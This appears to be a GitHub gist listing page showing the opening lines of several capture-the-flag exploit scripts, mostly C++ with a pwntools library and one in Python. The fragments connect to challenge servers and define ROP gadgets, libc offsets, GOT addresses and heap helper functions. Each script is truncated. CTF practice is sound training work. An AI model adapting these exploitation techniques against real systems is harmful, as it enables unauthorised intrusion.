This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <pwntools> | |
| #include <vector> | |
| #include <iostream> | |
| #include <string> | |
| #include <stdint.h> | |
| //Process io("./sice_sice_baby"); | |
| Remote io("dicec.tf", 31914); | |
| uint32_t* indexes; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <pwntools> | |
| #include <vector> | |
| #include <iostream> | |
| #include <string> | |
| #include <fstream> | |
| #include <streambuf> | |
| //Process io("./run.sh"); | |
| Remote io("dicec.tf", 31798); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <pwntools> | |
| #include <string> | |
| #include <iostream> | |
| using namespace pwn; | |
| // Process io("./caov"); | |
| Remote io("chall.pwnable.tw", 10306); | |
| void set(std::string name, std::string key, | |
| uint32_t keyLen, int64_t value) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <pwntools> | |
| #include <string> | |
| uint64_t vtable_offset = 0x210b60; | |
| uint64_t openat_got_offset = 0x210fe8; | |
| uint64_t libc_open_offset = 0xf6450; | |
| class Ghost { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <pwntools> | |
| #include <string> | |
| #include <vector> | |
| using namespace pwn; | |
| uint64_t L_pop_rdi = 0x21112; | |
| uint64_t offset_system = 0x453a0; | |
| uint64_t offset_exit = 0x3a040; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <pwntools> | |
| #include <string> | |
| #include <vector> | |
| using namespace pwn; | |
| enum TYPE { PERSONAL, BUSINESS, ADVERTISEMENT }; | |
| class Handle { | |
| public: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <pwntools> | |
| #include <string> | |
| #include <vector> | |
| using namespace pwn; | |
| auto io = Remote("challenges.ctfd.io", 30458); | |
| uint64_t memset_got = 0x404038; | |
| uint64_t win_function = 0x4011C2; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <pwntools> | |
| #include <string> | |
| #include <vector> | |
| using namespace pwn; | |
| uint64_t strlen_got = 0x409068; | |
| uint64_t libc_strlen = 0x18b660; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <pwntools> | |
| #include <string> | |
| #include <vector> | |
| using namespace pwn; | |
| // auto io = Process("./FS-1"); | |
| auto io = Remote("13.126.21.122", 49160); | |
| void add(uint32_t idx, uint32_t size, const std::string &data, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| def add(idx, size, data,s='\n'): | |
| io.sendlineafter("exit"+s,"1") | |
| io.sendlineafter("index: ",str(idx)) | |
| io.sendlineafter("size: ",str(size)) | |
| io.sendafter("input: ",data) | |
| def edit(idx, data,s="\n"): | |
| io.sendlineafter("exit"+s,"2") |